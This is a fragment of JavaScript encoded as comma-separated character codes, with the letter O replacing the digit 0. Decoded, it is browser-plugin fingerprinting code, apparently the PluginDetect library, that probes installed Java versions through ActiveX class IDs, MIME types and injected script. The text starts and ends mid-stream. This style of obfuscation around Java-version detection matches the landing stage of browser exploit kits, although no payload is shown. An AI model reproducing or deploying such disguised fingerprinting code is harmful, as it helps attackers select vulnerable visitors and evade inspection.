O,124,124,99,46,1O8,97,11O,1O3,46,83,121,115,116,1O1,1O9,46,1O3,1O1,116,8O,114,111,112,1O1,114,116,121,4O,41,91,48,93,125,1O5,1O2,4O,99,46,79,84,7O,6O,51,41,123,98,61,1OO,63,49,58,4O,97,63,45,48,46,5O,58,45,49,41,59,1O5,1O2,4O,99,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,61,61,61,11O,117,1O8,1O8,124,124,98,62,99,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,41,123,99,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,61,98,125,125,1O5,1O2,4O,99,46,79,84,7O,61,61,5O,38,38,99,46,78,79,84,7O,38,38,33,99,46,97,112,112,1O8,1O1,116,46,1O3,1O1,116,82,1O1,115,117,1O8,116,4O,41,91,48,93,38,38,33,99,46,1O8,97,11O,1O3,46,83,121,115,116,1O1,1O9,46,1O3,1O1,116,8O,114,111,112,1O1,114,116,121,4O,41,91,48,93,41,123,99,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,61,97,63,45,48,46,5O,58,45,49,125,59,1O5,1O2,4O,99,46,79,84,7O,61,61,51,38,38,99,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,33,61,45,48,46,53,38,38,99,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,33,61,48,46,53,41,123,99,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,61,4O,99,46,78,79,84,7O,46,1O5,115,74,97,118,97,65,99,116,1O5,118,1O1,4O,49,41,61,61,49,124,124,99,46,1O8,97,11O,1O3,46,83,121,115,116,1O1,1O9,46,1O3,1O1,116,8O,114,111,112,1O1,114,116,121,4O,41,91,48,93,41,63,48,46,53,58,45,48,46,53,125,1O5,1O2,4O,99,46,79,84,7O,61,61,52,38,38,4O,99,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,61,61,45,48,46,53,124,124,99,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,61,61,48,46,53,41,41,123,1O5,1O2,4O,1OO,41,123,99,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,61,49,125,1O1,1O8,115,1O1,123,1O5,1O2,4O,99,46,78,79,84,7O,46,1O5,115,74,97,118,97,65,99,116,1O5,118,1O1,4O,49,41,61,61,49,41,123,1O5,1O2,4O,97,41,123,99,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,61,49,59,1OO,61,97,125,1O1,1O8,115,1O1,123,99,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,61,48,125,125,1O1,1O8,115,1O1,123,1O5,1O2,4O,97,41,123,99,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,61,45,48,46,5O,125,1O1,1O8,115,1O1,123,99,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,61,45,49,125,125,125,125,59,1O5,1O2,4O,97,41,123,99,46,118,1O1,114,115,1O5,111,11O,48,61,1O1,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,1O1,46,1O3,1O1,116,78,117,1O9,4O,97,41,41,125,1O5,1O2,4O,1OO,41,123,99,46,118,1O1,114,115,1O5,111,11O,61,1O1,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,1O1,46,1O3,1O1,116,78,117,1O9,4O,1OO,41,41,125,1O5,1O2,4O,1O2,38,38,1O1,46,1O5,115,83,116,114,1O5,11O,1O3,4O,1O2,41,41,123,99,46,118,1O1,11O,1OO,111,114,61,1O2,125,1O5,1O2,4O,33,99,46,118,1O1,11O,1OO,111,114,41,123,99,46,118,1O1,11O,1OO,111,114,61,34,34,125,1O5,1O2,4O,99,46,118,1O1,114,1O5,1O2,121,38,38,99,46,118,1O1,114,1O5,1O2,121,46,1O5,115,69,11O,97,98,1O8,1O1,1OO,4O,41,41,123,99,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,68,111,11O,1O1,61,48,125,1O1,1O8,115,1O1,123,1O5,1O2,4O,99,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,68,111,11O,1O1,33,61,49,41,123,1O5,1O2,4O,99,46,79,84,7O,6O,5O,41,123,99,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,68,111,11O,1O1,61,48,125,1O1,1O8,115,1O1,123,99,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,68,111,11O,1O1,61,99,46,97,112,112,1O8,1O1,116,46,99,97,11O,95,73,11O,115,1O1,114,116,95,81,117,1O1,114,121,95,65,11O,121,4O,41,63,48,58,49,125,125,125,125,44,68,84,75,58,123,36,58,49,44,1O4,97,115,82,117,11O,58,48,44,115,116,97,116,117,115,58,11O,117,1O8,1O8,44,86,69,82,83,73,79,78,83,58,91,93,44,118,1O1,114,115,1O5,111,11O,58,34,34,44,72,84,77,76,58,11O,117,1O8,1O8,44,8O,1O8,117,1O3,1O5,11O,5O,83,116,97,116,117,115,58,11O,117,1O8,1O8,44,99,1O8,97,115,115,73,68,58,91,34,99,1O8,115,1O5,1OO,58,67,65,7O,69,69,7O,65,67,45,68,69,67,55,45,48,48,48,48,45,48,48,48,49,45,65,66,67,68,69,7O,7O,69,68,67,66,65,34,44,34,99,1O8,115,1O5,1OO,58,67,65,7O,69,69,7O,65,67,45,68,69,67,55,45,48,48,48,48,45,48,48,48,48,45,65,66,67,68,69,7O,7O,69,68,67,66,65,34,93,44,1O9,1O5,1O9,1O1,84,121,112,1O1,58,91,34,97,112,112,1O8,1O5,99,97,116,1O5,111,11O,47,1O6,97,118,97,45,1OO,1O1,112,1O8,111,121,1O9,1O1,11O,116,45,116,111,111,1O8,1O7,1O5,116,34,44,34,97,112,112,1O8,1O5,99,97,116,1O5,111,11O,47,11O,112,114,117,11O,116,1O5,1O9,1O1,45,115,99,114,1O5,112,116,97,98,1O8,1O1,45,112,1O8,117,1O3,1O5,11O,59,68,1O1,112,1O8,111,121,1O9,1O1,11O,116,84,111,111,1O8,1O7,1O5,116,34,93,44,1OO,1O5,115,97,98,1O8,1O1,1OO,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,114,1O1,116,117,114,11O,32,116,1O4,1O5,115,46,36,36,46,1O5,115,68,1O5,115,97,98,1O8,1O1,1OO,46,68,84,75,4O,41,125,44,113,117,1O1,114,121,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,1O7,61,116,1O4,1O5,115,44,1O3,61,1O7,46,36,44,1OO,61,1O7,46,36,36,44,1O6,44,1O8,44,1O4,44,1O9,61,123,125,44,1O2,61,123,125,44,97,44,99,61,11O,117,1O8,1O8,44,1O5,61,11O,117,1O8,1O8,44,98,61,4O,1O7,46,1O4,97,115,82,117,11O,124,124,1O7,46,1OO,1O5,115,97,98,1O8,1O1,1OO,4O,41,41,59,1O7,46,1O4,97,115,82,117,11O,61,49,59,1O5,1O2,4O,98,41,123,114,1O1,116,117,114,11O,32,1O7,125,1O7,46,115,116,97,116,117,115,61,48,59,1O5,1O2,4O,1O3,46,1O5,115,73,69,38,38,54,6O,61,1O3,46,118,1O1,114,73,69,41,123,1O2,111,114,4O,1O8,61,48,59,1O8,6O,1O7,46,99,1O8,97,115,115,73,68,46,1O8,1O1,11O,1O3,116,1O4,59,1O8,43,43,41,123,1O7,46,72,84,77,76,61,1O3,46,1O5,11O,115,1O1,114,116,72,84,77,76,4O,34,111,98,1O6,1O1,99,116,34,44,91,34,99,1O8,97,115,115,1O5,1OO,34,44,1O7,46,99,1O8,97,115,115,73,68,91,1O8,93,93,44,91,93,41,59,99,61,1O3,46,1O3,1O1,116,68,79,77,111,98,1O6,4O,1O7,46,72,84,77,76,41,59,116,114,121,123,1O5,1O2,4O,99,38,38,99,46,1O6,118,1O9,115,41,123,98,114,1O1,97,1O7,125,125,99,97,116,99,1O4,4O,1O6,41,123,125,125,125,1O1,1O8,115,1O1,123,1O5,1O2,4O,33,1O3,46,1O5,115,73,69,38,38,4O,1O4,61,1O3,46,1O4,97,115,77,1O5,1O9,1O1,84,121,112,1O1,4O,1O7,46,1O9,1O5,1O9,1O1,84,121,112,1O1,41,41,38,38,1O4,46,116,121,112,1O1,41,123,1O7,46,72,84,77,76,61,1O3,46,1O5,11O,115,1O1,114,116,72,84,77,76,4O,34,111,98,1O6,1O1,99,116,34,44,91,34,116,121,112,1O1,34,44,1O4,46,116,121,112,1O1,93,44,91,93,41,59,99,61,1O3,46,1O3,1O1,116,68,79,77,111,98,1O6,4O,1O7,46,72,84,77,76,41,125,125,1O5,1O2,4O,99,41,123,116,114,121,123,97,61,99,46,1O6,118,1O9,115,59,1O5,1O2,4O,97,41,123,1O5,61,97,46,1O3,1O1,116,76,1O1,11O,1O3,116,1O4,4O,41,59,1O5,1O2,4O,1O3,46,1O5,115,78,117,1O9,4O,1O5,41,41,123,1O7,46,115,116,97,116,117,115,61,48,6O,1O5,63,49,58,45,49,59,1O2,111,114,4O,1O8,61,48,59,1O8,6O,1O5,59,1O8,43,43,41,123,1O4,61,1O3,46,1O3,1O1,116,78,117,1O9,4O,97,46,1O3,1O1,116,4O,1O5,45,49,45,1O8,41,46,118,1O1,114,115,1O5,111,11O,41,59,1O5,1O2,4O,1O4,41,123,1O7,46,86,69,82,83,73,79,78,83,46,112,117,115,1O4,4O,1O4,41,59,1O2,91,34,97,34,43,1O3,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,1O4,41,93,61,49,125,125,125,125,125,99,97,116,99,1O4,4O,1O6,41,123,125,125,1O4,61,48,59,1O2,111,114,4O,1O8,32,1O5,11O,32,1O2,41,123,1O4,43,43,125,1O5,1O2,4O,1O4,38,38,1O4,33,61,61,1O7,46,86,69,82,83,73,79,78,83,46,1O8,1O1,11O,1O3,116,1O4,41,123,1O7,46,86,69,82,83,73,79,78,83,61,91,93,125,1O5,1O2,4O,1O7,46,86,69,82,83,73,79,78,83,46,1O8,1O1,11O,1O3,116,1O4,41,123,1O7,46,118,1O1,114,115,1O5,111,11O,61,1O3,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,1O7,46,86,69,82,83,73,79,78,83,91,48,93,41,125,59,114,1O1,116,117,114,11O,32,1O7,125,125,44,65,88,79,58,123,36,58,49,44,1O4,97,115,82,117,11O,58,48,44,86,69,82,83,73,79,78,83,58,91,93,44,118,1O1,114,115,1O5,111,11O,58,34,34,44,1OO,1O5,115,97,98,1O8,1O1,1OO,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,114,1O1,116,117,114,11O,32,116,1O4,1O5,115,46,36,36,46,1O5,115,68,1O5,115,97,98,1O8,1O1,1OO,46,65,88,79,4O,41,125,44,74,97,118,97,86,1O1,114,115,1O5,111,11O,115,58,91,91,49,44,57,44,49,44,52,48,93,44,91,49,44,56,44,49,44,52,48,93,44,91,49,44,55,44,49,44,52,48,93,44,91,49,44,54,44,48,44,52,48,93,44,91,49,44,53,44,48,44,51,48,93,44,91,49,44,52,44,5O,44,51,48,93,44,91,49,44,51,44,49,44,51,48,93,93,44,113,117,1O1,114,121,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,97,61,116,1O4,1O5,115,44,1O1,61,97,46,36,44,98,61,97,46,36,36,44,99,61,4O,97,46,1O4,97,115,82,117,11O,124,124,97,46,1OO,1O5,115,97,98,1O8,1O1,1OO,4O,41,41,59,97,46,1O4,97,115,82,117,11O,61,49,59,1O5,1O2,4O,99,41,123,114,1O1,116,117,114,11O,32,97,125,118,97,114,32,1O5,61,91,93,44,1O7,61,91,49,44,53,44,48,44,49,52,93,44,1O6,61,91,49,44,54,44,48,44,5O,93,44,1O4,61,91,49,44,51,44,49,44,48,93,44,1O3,61,91,49,44,52,44,5O,44,48,93,44,1O2,61,91,49,44,53,44,48,44,55,93,44,1OO,61,98,46,1O3,1O1,116,73,11O,1O2,111,63,116,114,117,1O1,58,1O2,97,1O8,115,1O1,44,1O8,61,123,125,59,1O5,1O2,4O,98,46,1O9,1O5,11O,73,69,118,1O1,114,6O,61,1O1,46,118,1O1,114,73,69,41,123,1O5,61,97,46,115,1O1,97,114,99,1O4,4O,1O6,44,1O6,44,1OO,41,59,1O5,1O2,4O,48,6O,1O5,46,1O8,1O1,11O,1O3,116,1O4,38,38,1OO,41,123,1O5,61,97,46,115,1O1,97,114,99,1O4,4O,1O7,44,1O7,44,1OO,41,125,125,1O1,1O8,115,1O1,123,1O5,1O2,4O,1OO,41,123,1O5,61,97,46,115,1O1,97,114,99,1O4,4O,1O2,44,1O2,44,116,114,117,1O1,41,125,1O5,1O2,4O,1O5,46,1O8,1O1,11O,1O3,116,1O4,61,61,48,41,123,1O5,61,97,46,115,1O1,97,114,99,1O4,4O,1O4,44,1O3,44,1O2,97,1O8,115,1O1,41,125,125,1O5,1O2,4O,1O5,46,1O8,1O1,11O,1O3,116,1O4,41,123,97,46,118,1O1,114,115,1O5,111,11O,61,1O5,91,48,93,59,97,46,86,69,82,83,73,79,78,83,61,91,93,46,99,111,11O,99,97,116,4O,1O5,41,125,59,114,1O1,116,117,114,11O,32,97,125,44,115,1O1,97,114,99,1O4,58,1O2,117,11O,99,116,1O5,111,11O,4O,97,44,1O6,44,112,41,123,118,97,114,32,1O4,44,1OO,44,1O2,61,116,1O4,1O5,115,44,1O1,61,1O2,46,36,44,1O7,61,1O2,46,36,36,44,11O,44,99,44,1O8,44,113,44,98,44,111,44,114,44,1O5,61,91,93,59,1O5,1O2,4O,48,6O,1O1,46,99,111,1O9,112,97,114,1O1,78,117,1O9,115,4O,97,46,1O6,111,1O5,11O,4O,34,44,34,41,44,1O6,46,1O6,111,1O5,11O,4O,34,44,34,41,41,41,123,1O6,61,97,125,1O6,61,1O1,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,1O6,46,1O6,111,1O5,11O,4O,34,44,34,41,41,59,118,97,114,32,1O9,44,115,61,34,49,44,52,44,5O,44,48,34,44,1O3,61,34,74,97,118,97,8O,1O8,117,1O3,1O5,11O,46,34,43,97,91,48,93,43,34,34,43,97,91,49,93,43,34,34,43,97,91,5O,93,43,34,34,43,4O,48,6O,97,91,51,93,63,4O,34,95,34,43,4O,97,91,51,93,6O,49,48,63,34,48,34,58,34,34,41,43,97,91,51,93,41,58,34,34,41,59,1O2,111,114,4O,1O4,61,48,59,1O4,6O,1O2,46,74,97,118,97,86,1O1,114,115,1O5,111,11O,115,46,1O8,1O1,11O,1O3,116,1O4,59,1O4,43,43,41,123,1OO,61,1O2,46,74,97,118,97,86,1O1,114,115,1O5,111,11O,115,91,1O4,93,59,11O,61,34,74,97,118,97,8O,1O8,117,1O3,1O5,11O,46,34,43,1OO,91,48,93,43,34,34,43,1OO,91,49,93,59,98,61,1OO,91,48,93,43,34,46,34,43,1OO,91,49,93,43,34,46,34,59,1O2,111,114,4O,1O8,61,1OO,91,5O,93,59,1O8,62,61,48,59,1O8,45,45,41,123,114,61,34,74,97,118,97,87,1O1,98,83,116,97,114,116,46,1O5,115,73,11O,115,116,97,1O8,1O8,1O1,1OO,46,34,43,98,43,1O8,43,34,46,48,34,59,1O5,1O2,4O,1O1,46,99,111,1O9,112,97,114,1O1,78,117,1O9,115,4O,1OO,91,48,93,43,34,44,34,43,1OO,91,49,93,43,34,44,34,43,1O8,43,34,44,48,34,44,1O6,41,62,61,48,38,38,33,1O1,46,1O3,1O1,116,65,88,79,4O,114,41,41,123,99,111,11O,116,1O5,11O,117,1O1,125,1O9,61,48,62,1O1,46,99,111,1O9,112,97,114,1O1,78,117,1O9,115,4O,1OO,91,48,93,43,34,44,34,43,1OO,91,49,93,43,34,44,34,43,1O8,43,34,44,48,34,44,115,41,63,116,114,117,1O1,58,1O2,97,1O8,115,1O1,59,1O2,111,114,4O,113,61,1OO,91,51,93,59,113,62,61,48,59,113,45,45,41,123,99,61,1O8,43,34,95,34,43,4O,113,6O,49,48,63,34,48,34,43,113,58,113,41,59,111,61,11O,43,99,59,1O5,1O2,4O,1O1,46,1O3,1O1,116,65,88,79,4O,111,41,38,38,4O,1O9,124,124,1O1,46,1O3,1O1,116,65,88,79,4O,114,41,41,41,123,1O5,46,112,117,115,1O4,4O,98,43,99,41,59,1O5,1O2,4O,33,112,41,123,114,1O1,116,117,114,11O,32,1O5,125,125,1O5,1O2,4O,111,61,61,1O3,41,123,114,1O1,116,117,114,11O,32,1O5,125,125,1O5,1O2,4O,1O1,46,1O3,1O1,116,65,88,79,4O,11O,43,1O8,41,38,38,4O,1O9,124,124,1O1,46,1O3,1O1,116,65,88,79,4O,114,41,41,41,123,1O5,46,112,117,115,1O4,4O,98,43,1O8,41,59,1O5,1O2,4O,33,112,41,123,114,1O1,116,117,114,11O,32,1O5,125,125,1O5,1O2,4O,11O,43,1O8,61,61,1O3,41,123,114,1O1,116,117,114,11O,32,1O5,125,125,125,114,1O1,116,117,114,11O,32,1O5,125,125,44,11O,97,118,77,1O5,1O9,1O1,58,123,36,58,49,44,1O4,97,115,82,117,11O,58,48,44,1O9,1O5,1O9,1O1,116,121,112,1O1,58,34,34,44,118,1O1,114,115,1O5,111,11O,58,34,34,44,1O8,1O1,11O,1O3,116,1O4,58,48,44,1O9,1O5,1O9,1O1,79,98,1O6,58,48,44,112,1O8,117,1O3,1O5,11O,79,98,1O6,58,48,44,1OO,1O5,115,97,98,1O8,1O1,1OO,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,114,1O1,116,117,114,11O,32,116,1O4,1O5,115,46,36,36,46,1O5,115,68,1O5,115,97,98,1O8,1O1,1OO,46,11O,97,118,77,1O5,1O9,1O1,4O,41,125,44,113,117,1O1,114,121,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,1O5,61,116,1O4,1O5,115,44,1O2,61,1O5,46,36,44,97,61,1O5,46,36,36,44,98,61,4O,1O5,46,1O4,97,115,82,117,11O,124,124,1O5,46,1OO,1O5,115,97,98,1O8,1O1,1OO,4O,41,41,59,1O5,46,1O4,97,115,82,117,11O,61,49,59,1O5,1O2,4O,98,41,123,114,1O1,116,117,114,11O,32,1O5,125,59,118,97,114,32,11O,61,47,94,92,115,42,97,112,112,1O8,1O5,99,97,116,1O5,111,11O,92,47,12O,45,1O6,97,118,97,45,97,112,112,1O8,1O1,116,59,1O6,112,1O5,45,118,1O1,114,115,1O5,111,11O,92,115,42,61,92,115,42,4O,92,1OO,46,42,41,36,47,1O5,44,1O3,44,1O8,44,1O6,44,1OO,61,34,34,44,1O4,61,34,97,34,44,111,44,1O9,44,1O7,61,123,125,44,99,61,1O2,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,34,48,34,41,59,1O2,111,114,4O,1O8,61,48,59,1O8,6O,11O,97,118,1O5,1O3,97,116,111,114,46,1O9,1O5,1O9,1O1,84,121,112,1O1,115,46,1O8,1O1,11O,1O3,116,1O4,59,1O8,43,43,41,123,111,61,11O,97,118,1O5,1O3,97,116,111,114,46,1O9,1O5,1O9,1O1,84,121,112,1O1,115,91,1O8,93,59,1O9,61,111,63,111,46,1O1,11O,97,98,1O8,1O1,1OO,8O,1O8,117,1O3,1O5,11O,58,48,59,1O3,61,111,38,38,11O,46,116,1O1,115,116,4O,111,46,116,121,112,1O1,124,124,1OO,41,63,1O2,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,1O2,46,1O3,1O1,116,78,117,1O9,4O,82,1O1,1O3,69,12O,112,46,36,49,41,41,58,48,59,1O5,1O2,4O,1O3,38,38,1O9,38,38,4O,1O9,46,1OO,1O1,115,99,114,1O5,112,116,1O5,111,11O,124,124,1O9,46,11O,97,1O9,1O1,41,41,123,1O5,1O2,4O,33,1O7,91,1O4,43,1O3,93,41,123,1O5,46,1O8,1O1,11O,1O3,116,1O4,43,43,125,1O7,91,1O4,43,1O3,93,61,111,46,116,121,112,1O1,59,1O5,1O2,4O,48,6O,1O2,46,99,111,1O9,112,97,114,1O1,78,117,1O9,115,4O,1O3,44,99,41,41,123,99,61,1O3,125,125,125,1O3,61,1O7,91,1O4,43,99,93,59,1O5,1O2,4O,1O3,41,123,111,61,1O2,46,1O4,97,115,77,1O5,1O9,1O1,84,121,112,1O1,4O,1O3,41,59,1O5,46,1O9,1O5,1O9,1O1,79,98,1O6,61,111,59,1O5,46,112,1O8,117,1O3,1O5,11O,79,98,1O6,61,111,63,111,46,1O1,11O,97,98,1O8,1O1,1OO,8O,1O8,117,1O3,1O5,11O,58,48,59,1O5,46,1O9,1O5,1O9,1O1,116,121,112,1O1,61,1O3,59,1O5,46,118,1O1,114,115,1O5,111,11O,61,99,125,59,114,1O1,116,117,114,11O,32,1O5,125,125,44,11O,97,118,8O,1O8,117,1O3,1O5,11O,58,123,36,58,49,44,1O4,97,115,82,117,11O,58,48,44,118,1O1,114,115,1O5,111,11O,58,34,34,44,1OO,1O5,115,97,98,1O8,1O1,1OO,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,114,1O1,116,117,114,11O,32,116,1O4,1O5,115,46,36,36,46,1O5,115,68,1O5,115,97,98,1O8,1O1,1OO,46,11O,97,118,8O,1O8,117,1O3,1O5,11O,4O,41,125,44,113,117,1O1,114,121,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,1O9,61,116,1O4,1O5,115,44,1O1,61,1O9,46,36,44,99,61,1O9,46,36,36,44,1O4,61,99,46,11O,97,118,1O5,1O3,97,116,111,114,44,1O6,44,1O8,44,1O7,44,1O3,44,1OO,44,97,44,1O5,44,1O2,61,48,44,98,61,4O,1O9,46,1O4,97,115,82,117,11O,124,124,1O9,46,1OO,1O5,115,97,98,1O8,1O1,1OO,4O,41,41,59,1O9,46,1O4,97,115,82,117,11O,61,49,59,1O5,1O2,4O,98,41,123,114,1O1,116,117,114,11O,32,1O9,125,59,97,61,1O4,46,112,1O8,117,1O3,1O5,11O,79,98,1O6,46,11O,97,1O9,1O1,124,124,34,34,59,1O5,61,1O4,46,112,1O8,117,1O3,1O5,11O,79,98,1O6,46,1OO,1O1,115,99,114,1O5,112,116,1O5,111,11O,124,124,34,34,59,1O5,1O2,4O,33,1O2,124,124,99,46,1OO,1O1,98,117,1O3,41,123,1O3,61,47,74,97,118,97,46,42,84,77,46,42,8O,1O8,97,116,1O2,111,114,1O9,91,94,92,1OO,93,42,4O,92,1OO,43,41,4O,63,58,91,92,46,44,95,93,4O,92,1OO,42,41,41,63,4O,63,58,92,115,42,91,85,112,1OO,97,116,1O1,93,43,92,115,42,4O,92,1OO,42,41,41,63,47,1O5,59,1O5,1O2,4O,4O,1O3,46,116,1O1,115,116,4O,97,41,124,124,1O3,46,116,1O1,115,116,4O,1O5,41,41,38,38,112,97,114,115,1O1,73,11O,116,4O,82,1O1,1O3,69,12O,112,46,36,49,44,49,48,41,62,61,53,41,123,1O2,61,34,49,44,34,43,82,1O1,1O3,69,12O,112,46,36,49,43,34,44,34,43,4O,82,1O1,1O3,69,12O,112,46,36,5O,63,82,1O1,1O3,69,12O,112,46,36,5O,58,34,48,34,41,43,34,44,34,43,4O,82,1O1,1O3,69,12O,112,46,36,51,63,82,1O1,1O3,69,12O,112,46,36,51,58,34,48,34,41,125,125,1O5,1O2,4O,33,1O2,124,124,99,46,1OO,1O1,98,117,1O3,41,123,1O3,61,47,74,97,118,97,91,94,92,1OO,93,42,8O,1O8,117,1O3,45,1O5,11O,47,1O5,59,1O8,61,1O3,46,116,1O1,115,116,4O,1O5,41,63,1O1,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,1O1,46,1O3,1O1,116,78,117,1O9,4O,1O5,41,41,58,48,59,1O7,61,1O3,46,116,1O1,115,116,4O,97,41,63,1O1,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,1O1,46,1O3,1O1,116,78,117,1O9,4O,97,41,41,58,48,59,1O5,1O2,4O,1O8,38,38,4O,1O1,46,99,111,1O9,112,97,114,1O1,78,117,1O9,115,4O,1O8,44,1O1,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,34,49,44,51,34,41,41,6O,48,124,124,1O1,46,99,111,1O9,112,97,114,1O1,78,117,1O9,115,4O,1O8,44,1O1,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,34,5O,34,41,41,62,61,48,41,41,123,1O8,61,48,125,1O5,1O2,4O,1O7,38,38,4O,1O1,46,99,111,1O9,112,97,114,1O1,78,117,1O9,115,4O,1O7,44,1O1,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,34,49,44,51,34,41,41,6O,48,124,124,1O1,46,99,111,1O9,112,97,114,1O1,78,117,1O9,115,4O,1O7,44,1O1,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,34,5O,34,41,41,62,61,48,41,41,123,1O7,61,48,125,1OO,61,1O8,38,38,1O7,63,4O,48,6O,1O1,46,99,111,1O9,112,97,114,1O1,78,117,1O9,115,4O,1O8,44,1O7,41,63,1O8,58,1O7,41,58,4O,1O8,124,124,1O7,41,59,1O5,1O2,4O,1OO,41,123,1O2,61,1OO,125,125,1O5,1O2,4O,33,1O2,38,38,1O1,46,1O5,115,83,97,1O2,97,114,1O5,38,38,1O1,46,79,83,61,61,5O,41,123,1O6,61,1O1,46,1O2,1O5,11O,1OO,78,97,118,8O,1O8,117,1O3,1O5,11O,4O,34,74,97,118,97,46,42,92,1OO,46,42,8O,1O8,117,1O3,45,1O5,11O,46,42,67,111,99,111,97,34,44,48,41,59,1O5,1O2,4O,1O6,41,123,1O8,61,1O1,46,1O3,1O1,116,78,117,1O9,4O,1O6,46,1OO,1O1,115,99,114,1O5,112,116,1O5,111,11O,41,59,1O5,1O2,4O,1O8,41,123,1O2,61,1O8,125,125,125,59,1O5,1O2,4O,1O2,41,123,1O9,46,118,1O1,114,115,1O5,111,11O,61,1O1,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,1O2,41,125,59,114,1O1,116,117,114,11O,32,1O9,125,125,44,1O8,97,11O,1O3,58,123,36,58,49,44,83,121,115,116,1O1,1O9,58,123,36,58,49,44,1O4,97,115,82,117,11O,58,48,44,114,1O1,115,117,1O8,116,58,91,11O,117,1O8,1O8,44,11O,117,1O8,1O8,93,44,1OO,1O5,115,97,98,1O8,1O1,1OO,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,114,1O1,116,117,114,11O,32,116,1O4,1O5,115,46,36,36,46,1O5,115,68,1O5,115,97,98,1O8,1O1,1OO,46,119,1O5,11O,1OO,111,119,68,111,116,74,97,118,97,4O,41,125,44,1O3,1O1,116,8O,114,111,112,1O1,114,116,121,72,97,115,58,1O2,117,11O,99,116,1O5,111,11O,4O,97,41,123,118,97,114,32,98,61,116,1O4,1O5,115,44,1OO,61,98,46,36,44,99,61,98,46,1O3,1O1,116,8O,114,111,112,1O1,114,116,121,4O,41,91,48,93,59,114,1O1,116,117,114,11O,4O,97,38,38,99,38,38,1OO,46,99,111,1O9,112,97,114,1O1,78,117,1O9,115,4O,1OO,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,97,41,44,1OO,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,99,41,41,61,61,61,48,41,63,49,58,48,125,44,1O3,1O1,116,8O,114,111,112,1O1,114,116,121,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,1O2,61,116,1O4,1O5,115,44,1O3,61,1O2,46,36,44,1OO,61,1O2,46,36,36,44,1O5,44,1O4,61,123,125,44,98,61,1O2,46,1O4,97,115,82,117,11O,124,124,1O2,46,1OO,1O5,115,97,98,1O8,1O1,1OO,4O,41,59,1O2,46,1O4,97,115,82,117,11O,61,49,59,1O5,1O2,4O,33,98,41,123,118,97,114,32,97,61,34,1O6,97,118,97,95,113,113,113,57,57,48,34,59,1O3,91,97,93,61,11O,117,1O8,1O8,59,116,114,121,123,118,97,114,32,99,61,1OO,111,99,117,1O9,1O1,11O,116,46,99,114,1O1,97,116,1O1,69,1O8,1O1,1O9,1O1,11O,116,4O,34,115,99,114,1O5,112,116,34,41,59,99,46,116,121,112,1O1,61,34,116,1O1,12O,116,47,1O6,97,118,97,115,99,114,1O5,112,116,34,59,99,46,97,112,112,1O1,11O,1OO,67,1O4,1O5,1O8,1OO,4O,1OO,111,99,117,1O9,1O1,11O,116,46,99,114,1O1,97,116,1O1,84,1O1,12O,116,78,111,1OO,1O1,4O,39,4O,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,1O1,44,97,59,116,114,121,123,97,61,91,119,1O5,11O,1OO,111,119,46,1O6,97,118,97,46,1O8,97,11O,1O3,46,83,121,115,116,1O1,1O9,46,1O3,1O1,116,8O,114,111,112,1O1,114,116,121,4O,34,1O6,97,118,97,46,118,1O1,114,115,1O5,111,11O,34,41,43,34,32,34,44,119,1O5,11O,1OO,111,119,46,1O6,97,118,97,46,1O8,97,11O,1O3,46,83,121,115,116,1O1,1O9,46,1O3,1O1,116,8O,114,111,112,1O1,114,116,121,4O,34,1O6,97,118,97,46,118,1O1,11O,1OO,111,114,34,41,43,34,32,34,93,125,99,97,116,99,1O4,4O,1O1,41,123,125,59,39,43,1O3,46,11O,97,1O9,1O1,43,34,46,34,43,97,43,34,61,97,124,124,48,125,41,4O,41,59,34,41,41,59,1O3,46,1O4,1O1,97,1OO,46,1O5,11O,115,1O1,114,116,66,1O1,1O2,111,114,1O1,4O,99,44,1O3,46,1O4,1O1,97,1OO,46,1O2,1O5,114,115,116,67,1O4,1O5,1O8,1OO,41,59,1O3,46,1O4,1O1,97,1OO,46,114,1O1,1O9,111,118,1O1,67,1O4,1O5,1O8,1OO,4O,99,41,125,99,97,116,99,1O4,4O,1O5,41,123,125,1O5,1O2,4O,1O3,91,97,93,38,38,1O3,46,1O5,115,65,114,114,97,121,4O,1O3,91,97,93,41,41,123,1O2,46,114,1O1,115,117,1O8,116,61,91,93,46,99,111,11O,99,97,116,4O,1O3,91,97,93,41,125,125,114,1O1,116,117,114,11O,32,